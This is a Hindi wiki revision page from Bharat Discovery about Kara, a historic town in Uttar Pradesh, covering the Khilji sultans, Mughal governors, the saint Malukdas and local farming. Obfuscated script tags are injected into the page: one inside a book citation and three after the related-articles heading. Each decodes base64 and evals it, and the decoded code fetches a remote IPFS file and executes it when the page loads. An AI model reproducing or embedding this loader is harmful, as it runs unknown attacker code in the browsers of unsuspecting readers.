"कड़ा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(2 सदस्यों द्वारा किये गये बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''कड़ा''' [[इलाहाबाद ज़िला|ज़िला इलाहाबाद]], [[उत्तर प्रदेश]] का एक ऐतिहासिक नगर है। यहाँ पर [[ख़िलजी वंश]] का सुल्तान [[जलालुद्दीन ख़िलजी]] ने 1296 ई. में अपने भतीजे एवं दामाद [[अलाउद्दीन ख़िलजी]] के हाथों मारा गया था।  
+
'''कड़ा''' [[इलाहाबाद ज़िला]], [[उत्तर प्रदेश]] का एक ऐतिहासिक नगर है। यहाँ पर [[ख़िलजी वंश]] का सुल्तान [[जलालुद्दीन ख़िलजी]] 1296 ई. में अपने [[भतीजा|भतीजे]] एवं दामाद [[अलाउद्दीन ख़िलजी]] के हाथों मारा गया था। [[मुस्लिम|मुस्लिमों]] के शासन के समय कड़ा राजनीतिक दृष्टि से बहुत ही महत्त्वपूर्ण माना जाता था। बल्कि एक समय तो यह भी कहा जाने लगा था कि जिसके पास कड़ा है, वही [[दिल्ली]] का '''भावी सुल्तान''' है।
 +
==स्थिति तथा इतिहास==
 +
'''कड़ा''' [[उत्तर प्रदेश]] में [[इलाहाबाद]] से 40 मील{{मील|मील=40}}की दूरी पर अवस्थित है। कहा जाता है कि इस स्थान पर '''जह्र ऋषि''' का [[आश्रम]] था, जैसा कि यहाँ के आधा मील पर स्थित 'जाह्रवीकुंड' से सूचित होता है। मुस्लिमों के शासन काल में कड़ा एक सूबे के रूप में मुख्य स्थान रखता था। दिल्ली के [[जलालुद्दीन ख़िलजी|सुल्तान जलालुद्दीन ख़िलजी]] के शासनकाल<ref>1290-96 ई.</ref> में उसका भतीजा एवं दामाद अलाउद्दीन ख़िलजी कड़ा का सूबेदार नियुक्त किया गया था।
 +
 
 +
कड़ा के ही निकट [[गंगा नदी]] को नाव से पार करते समय बूढ़े जलालुद्दीन को राज्य लोलुपता के नशे में चूर अलाउद्दीन ने धोखे से मार दिया और उसका सिर वहीं पास के किसी स्थान पर दफ़ना दिया, जिससे वह स्थान ''''गुमसिरा'''' कहलाया।
 +
 
 +
[[दिल्ली]] के [[मुहम्मद तुग़लक़|सुल्तान मुहम्मद तुग़लक़]] ने कड़ा के पास एक नया नगर ''''स्वर्गद्वार'''' बसाया था। [[दोआब|दोआबे]] में भयंकर [[अकाल]] पड़ने पर वह वहाँ जाकर रहने लगा। यहीं पर वह अनेक भूखों लोगों को बसाने के लिए ले गया और [[अयोध्या]] से अन्न मंगवाकर बंटवाया। राजनीतिक दृष्टि से कड़ा अपने चरमोत्कर्ष के समय बहुत ही महत्त्वपूर्ण माना जाने लगा था। यह भी प्रसिद्ध हो चुका था कि जो कड़ा का मालिक होगा, वही [[दिल्ली]] का वास्तविक '''भावी सुल्तान''' भी होगा।
 +
 
 +
[[मुग़ल|मुग़लों]] के शासन काल में भी कड़ा में सूबेदार रहता था। '[[शहज़ादा सलीम]]'<ref>बाद में [[जहाँगीर]]</ref> ने जब [[अकबर]] के विरुद्ध बग़ावत की थी, तब वह कड़ा में ही रहता था। कड़ा का [[क़िला|प्राचीन क़िला]] उल्लेखनीय है। यह स्थान [[मलूकदास|संत मलूकदास]] की जन्म भूमि के रूप में भी प्रसिद्ध है।<ref>अजगर करै ना चाकरी, पंछी करै ना काम, दास मलूका कह गये सबके दातस राम।- यह [[दोहा]] इन्हीं [[मलूकदास]] का है।</ref><ref >{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=128|url=}}</ref>
 +
 
 +
==कृषि==
 +
अपने प्रारम्भिक समय से ही कड़ा [[कृषि]] क्षेत्र के रूप में भी जाना जाता था। यहाँ [[चावल]], [[गेहूँ]] एवं शक्कर आदि का उत्पादन बहुत बड़ी मात्रा में होता था। अपनी कृषि पैदावार के लिए भी कड़ा प्रसिद्ध था।
 +
 
  
*कड़ा उत्तर प्रदेश में इलाहाबाद से 40 मील की दूरी पर अवस्थित है।
 
*जलालुद्दीन ख़िलजी के शासनकाल (1290-96 ई.) में अलाउद्दीन ख़िलजी कड़ा का सूबेदार नियुक्त किया गया था।
 
*कड़ा के निकट ही [[गंगा]] के किनारे अलाउद्दीन ने अपने चाचा जलालुद्दीन को धोखे से मार दिया था।
 
*एक अत्यधिक 'इक्ता' (सूबे) के रूप में कड़ा बहुत प्रसिद्ध था।
 
*एक समय यह माना जाने लगा था कि जिसके पास कड़ा है, वहीं भावी सुल्तान है।
 
*कड़ा [[चावल]], [[गेहूँ]] एवं शक्कर आदि के उत्पादन के लिए भी प्रसिद्ध था।
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 +
 +
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{उत्तर प्रदेश के नगर}}
 
{{उत्तर प्रदेश के नगर}}
 
{{उत्तर प्रदेश के ऐतिहासिक स्थान}}
 
{{उत्तर प्रदेश के ऐतिहासिक स्थान}}
 
{{उत्तर प्रदेश के पर्यटन स्थल}}
 
{{उत्तर प्रदेश के पर्यटन स्थल}}
[[Category:उत्तर प्रदेश]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:उत्तर प्रदेश के नगर]][[Category:ऐतिहासिक स्थान कोश]][[Category:इतिहास कोश]][[Category:उत्तर प्रदेश के पर्यटन स्थल]][[Category:पर्यटन कोश]]
+
[[Category:उत्तर प्रदेश]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:उत्तर प्रदेश के नगर]][[Category:ऐतिहासिक स्थान कोश]][[Category:इतिहास कोश]][[Category:उत्तर प्रदेश के पर्यटन स्थल]][[Category:पर्यटन कोश]] [[Category:ऐतिहासिक स्थानावली]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

13:26, 23 मई 2018 के समय का अवतरण

कड़ा इलाहाबाद ज़िला, उत्तर प्रदेश का एक ऐतिहासिक नगर है। यहाँ पर ख़िलजी वंश का सुल्तान जलालुद्दीन ख़िलजी 1296 ई. में अपने भतीजे एवं दामाद अलाउद्दीन ख़िलजी के हाथों मारा गया था। मुस्लिमों के शासन के समय कड़ा राजनीतिक दृष्टि से बहुत ही महत्त्वपूर्ण माना जाता था। बल्कि एक समय तो यह भी कहा जाने लगा था कि जिसके पास कड़ा है, वही दिल्ली का भावी सुल्तान है।

स्थिति तथा इतिहास

कड़ा उत्तर प्रदेश में इलाहाबाद से 40 मील (लगभग 64 कि.मी.)की दूरी पर अवस्थित है। कहा जाता है कि इस स्थान पर जह्र ऋषि का आश्रम था, जैसा कि यहाँ के आधा मील पर स्थित 'जाह्रवीकुंड' से सूचित होता है। मुस्लिमों के शासन काल में कड़ा एक सूबे के रूप में मुख्य स्थान रखता था। दिल्ली के सुल्तान जलालुद्दीन ख़िलजी के शासनकाल[1] में उसका भतीजा एवं दामाद अलाउद्दीन ख़िलजी कड़ा का सूबेदार नियुक्त किया गया था।

कड़ा के ही निकट गंगा नदी को नाव से पार करते समय बूढ़े जलालुद्दीन को राज्य लोलुपता के नशे में चूर अलाउद्दीन ने धोखे से मार दिया और उसका सिर वहीं पास के किसी स्थान पर दफ़ना दिया, जिससे वह स्थान 'गुमसिरा' कहलाया।

दिल्ली के सुल्तान मुहम्मद तुग़लक़ ने कड़ा के पास एक नया नगर 'स्वर्गद्वार' बसाया था। दोआबे में भयंकर अकाल पड़ने पर वह वहाँ जाकर रहने लगा। यहीं पर वह अनेक भूखों लोगों को बसाने के लिए ले गया और अयोध्या से अन्न मंगवाकर बंटवाया। राजनीतिक दृष्टि से कड़ा अपने चरमोत्कर्ष के समय बहुत ही महत्त्वपूर्ण माना जाने लगा था। यह भी प्रसिद्ध हो चुका था कि जो कड़ा का मालिक होगा, वही दिल्ली का वास्तविक भावी सुल्तान भी होगा।

मुग़लों के शासन काल में भी कड़ा में सूबेदार रहता था। 'शहज़ादा सलीम'[2] ने जब अकबर के विरुद्ध बग़ावत की थी, तब वह कड़ा में ही रहता था। कड़ा का प्राचीन क़िला उल्लेखनीय है। यह स्थान संत मलूकदास की जन्म भूमि के रूप में भी प्रसिद्ध है।[3][4]

कृषि

अपने प्रारम्भिक समय से ही कड़ा कृषि क्षेत्र के रूप में भी जाना जाता था। यहाँ चावल, गेहूँ एवं शक्कर आदि का उत्पादन बहुत बड़ी मात्रा में होता था। अपनी कृषि पैदावार के लिए भी कड़ा प्रसिद्ध था।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1290-96 ई.
  2. बाद में जहाँगीर
  3. अजगर करै ना चाकरी, पंछी करै ना काम, दास मलूका कह गये सबके दातस राम।- यह दोहा इन्हीं मलूकदास का है।
  4. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 128 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>